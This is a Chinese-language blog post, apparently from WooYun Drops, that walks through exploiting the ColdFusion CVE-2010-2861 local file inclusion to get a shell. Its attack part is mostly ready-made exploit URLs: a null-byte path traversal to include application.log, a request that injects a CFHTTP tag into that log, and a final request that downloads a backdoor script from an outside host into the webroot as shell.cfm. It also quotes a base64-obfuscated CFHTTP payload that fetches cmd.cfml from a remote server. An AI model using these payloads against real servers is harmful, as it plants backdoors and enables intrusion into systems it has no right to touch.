COLDFUSION(CVE-2010-2861) 本地包含利用方法 – mickey

  • A+
所属分类:WooYun-Drops

http://drops.wooyun.org/tips/1410

最近看老外的一篇文章说,CVE-2010-2861这个利用方法,只有看到过通过读取password.properties里的password字段,破解SHA-1值登陆后台,或者通过传递哈希登陆后台的,还没见过能直接得到SHELL的。其实我以前和小伙伴讨论过利用application.log本地包含CFM的方法,当时的利用方法是这样的:

首先看看application.log有没有在默认的目录:

http://10.18.180.23:8500//CFIDE/administrator/enter.cfm?locale=..\..\..\..\..\..\..\..\ColdFusion8\logs\application.log%00en

然后访问一个不存在的页面,注意编码问题,否则不成功的。

http://192.168.72.141:8500/%3CCFHTTP%20METHOD%3DGet%20URL%3D%23URL.u%23%20PATH%3D%23URL.p%23%20FILE%3D%23URL.f%23%3E.cfml

这时候就会把<CFHTTP METHOD=Get URL=#URL.u# PATH=#URL.p# FILE=#URL.f#>注入到application.log里了,看下图:

COLDFUSION(CVE-2010-2861) 本地包含利用方法 - mickey

最后我们访问

http://10.18.180.23:8500//CFIDE/administrator/enter.cfm?locale=................\ColdFusion8\logs\application.log%00en&u=http://10.18.180.20/dvwa/hackable/uploads/xl.txt&p=C:\ColdFusion8\wwwroot&f=shell.cfm

COLDFUSION(CVE-2010-2861) 本地包含利用方法 - mickey

就会从10.18.180.20上把xl.txt的CF后门脚本下载到目标机器的c:\ColdFusion8\wwwroot目录了。

我们看看老外用的方法:思路都是一样的,就是他的payload选择的是

<cfhttp method='get' url='#ToString(ToBinary('aHR0cDovLzE5Mi4xNjguMS45Nzo4MDAwL2NtZC5jZm1s'))#' path='#ExpandPath(ToString(ToBinary('Li4vLi4v')))#' file='cmd.cfml'>

使用cfm的CFHTTP标签执行一个HTTP请求来取得192.168.1.97:8000 WEB服务器上的cmd.cfml文件,ToString(ToBinary是为了做BASE64编码,绕过一些字符的限制,比如/

下面说说此法的缺点:

1.不是通杀的方法,如果对方禁止对外的HTTP访问,此法不行 
2.如果安装的时候是集成到IIS模式的,CF程序目录放到其他盘符的话,是没法使用../跨目录的 

 

  • 我的微信
  • 这是我的微信扫一扫
  • weinxin
  • 我的微信公众号
  • 我的微信公众号扫一扫
  • weinxin

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: